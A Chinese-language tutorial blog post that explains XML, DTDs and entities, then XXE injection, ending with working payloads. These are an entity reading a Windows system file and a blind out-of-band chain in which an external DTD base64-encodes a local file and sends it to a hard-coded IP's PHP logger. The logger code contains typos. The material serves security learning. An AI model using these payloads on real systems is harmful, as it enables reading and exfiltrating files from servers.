XXE原理到利用

时间:2020-01-18
本文章向大家介绍XXE原理到利用,主要包括XXE原理到利用使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

XML文件格式及作用

copy至:https://www.runoob.com/xml/xml-tutorial.html

学习xxe为什么要了解XML和DTD,直接跳至Xxe查看;

定义&作用:

XML 指可扩展标记语言(eXtensible Markup Language)。

XML 被设计用来传输和存储数据。

格式:

<?xml version="1.0" encoding="ISO-8859-1"?>  //声明
<note>      //根元素
​   <to>**Tove**</to>   //子元素
​   <from>**Jani**</from>
​   <heading>**Reminder**</heading>
​   <body>**Don't forget me this weekend!**</body>
</note>

DTD

定义&作用:

文档类定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部:

<!DOCTYPE root-element [element-declarations]>
<?xml version="1.0"?>

<!DOCTYPE note [        //DTD声明定义
<!ELEMENT note (to,from,heading,body)>  //定义 note 元素有四个元素:"to、from、heading,、body"
<!ELEMENT to (#PCDATA)>     //定义 to 元素为 "#PCDATA" 类型
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

外部:

<!DOCTYPE root-element SYSTEM "filename">
<?xml version="1.0"?>

<!DOCTYPE note SYSTEM "note.dtd">       //DTD外部链接

<note>
 <to>Tove</to>
 <from>Jani</from>
 <heading>Reminder</heading>
 <body>Don't forget me this weekend!</body>
</note>

外部文件内容:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

DTD通用实体

定义&作用

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

  • 实体引用是对实体的引用。
  • 实体可在内部或外部进行声明。

内部实体

语法

<!ENTITY entity-name "entity-value">

实例

DTD 实例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">

XML 实例引用DTD:
<author>&writer;&copyright;</author>

//一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

外部实体

语法

<!ENTITY entity-name SYSTEM "URI/URL">

实例

DTD 实例:
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">

XML 实例引用DTD:
<author>&writer;&copyright;</author>

完整的DTD例子

copy自: http://www.vervet.com/

<!DOCTYPE CATALOG [
<!ENTITY AUTHOR "John Doe">
<!ENTITY COMPANY "JD Power Tools, Inc.">
<!ENTITY EMAIL "jd@jd-tools.com">

<!ELEMENT CATALOG (PRODUCT+)>

<!ELEMENT PRODUCT
(SPECIFICATIONS+,OPTIONS?,PRICE+,NOTES?)>
<!ATTLIST PRODUCT
NAME CDATA #IMPLIED
CATEGORY (HandTool|Table|Shop-Professional) "HandTool"
PARTNUM CDATA #IMPLIED
PLANT (Pittsburgh|Milwaukee|Chicago) "Chicago"
INVENTORY (InStock|Backordered|Discontinued) "InStock">

<!ELEMENT SPECIFICATIONS (#PCDATA)>
<!ATTLIST SPECIFICATIONS
WEIGHT CDATA #IMPLIED
POWER CDATA #IMPLIED>

<!ELEMENT OPTIONS (#PCDATA)>
<!ATTLIST OPTIONS
FINISH (Metal|Polished|Matte) "Matte"
ADAPTER (Included|Optional|NotApplicable) "Included"
CASE (HardShell|Soft|NotApplicable) "HardShell">

<!ELEMENT PRICE (#PCDATA)>
<!ATTLIST PRICE
MSRP CDATA #IMPLIED
WHOLESALE CDATA #IMPLIED
STREET CDATA #IMPLIED
SHIPPING CDATA #IMPLIED>
        
<!ELEMENT NOTES (#PCDATA)>
]>

DTD参数实体

  • 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
  • 只有在 DTD 文件中,参数实体的声明才能引用其他实体
  • 和通用实体一样,参数实体也可以外部引用

Xxe

原理

XML External Entity (XXE) Processing是 XML 外部实体注入;

我们可以控制的点就是上面的DTD实体(包括通用实体和参数实体),外部实体类似于一个XML的包含,我们可以包含我们想要的东西;

如果您的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么您很有可能会遭到XXE的攻击。

XXE能做什么

  • 读文件
  • 扫描端口
  • 命令执行

Payload

有回显

<?xml version="1.0"?>
<!DOCTYPE p0laris [             //p0laris随便写
<!ENTITY test SYSTEM  "file:///c:/windows/win.ini">     //test内部实体名称随便写,file后面接的你要读取的文件
]>
<xxx>&test</xxx>        //xxx标签名字要使用数据包中的原生标签,&test引用

无回显_Blind XXE,需目标主动发送数据到服务器

VPS部署:

  • test.php
<?php
$ipd = $_SERVER["REMOTE_ADDR"]? $_SERVER["REMOTE_ADDR"] : "";
if($ipd){
    
    $a = empty($_GET['a'])? "" : $_GET['a'];
    $t = empty($_SERVER['HTTP_REFERER'])? "" : $_SERVER['HTTP>REFERER'];
    $txt = htmlspecialchars($ipd."--".$a."--".$_SERVER['REQUEST_URI']."--".$t."\r\n");
    $n = fopen("test.txt","a+");
    #  $x = fwrite($n,$txt);    
}
  • test.txt : 用来接收上面php发过来的参数;
  • test.dtd
<!ENTITY % pe2 SYSTEM "php://filter/read=convert.base64-encode/resource=C:/1.txt">
<!ENTITY % pe1 "<!ENTITY ge1 SYSTEM 'http://175.24.2.43/test.php?i=%pe2;'>">
%pe1;
  • 发送的payload:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % pe3 SYSTEM "http://x.x.x.x/test.dtd"> 
%pe3;
]>
<aa>&ge1;</aa>
  • 过程,先调用pe3,到服务器获取test.dtd文件,调用pe1,调用pe2,读取本地文件,访问test.php带着pe2作为参数发送给服务器,test.php解析后写入test.txt;

原文地址:https://www.cnblogs.com/p0laris/p/12209581.html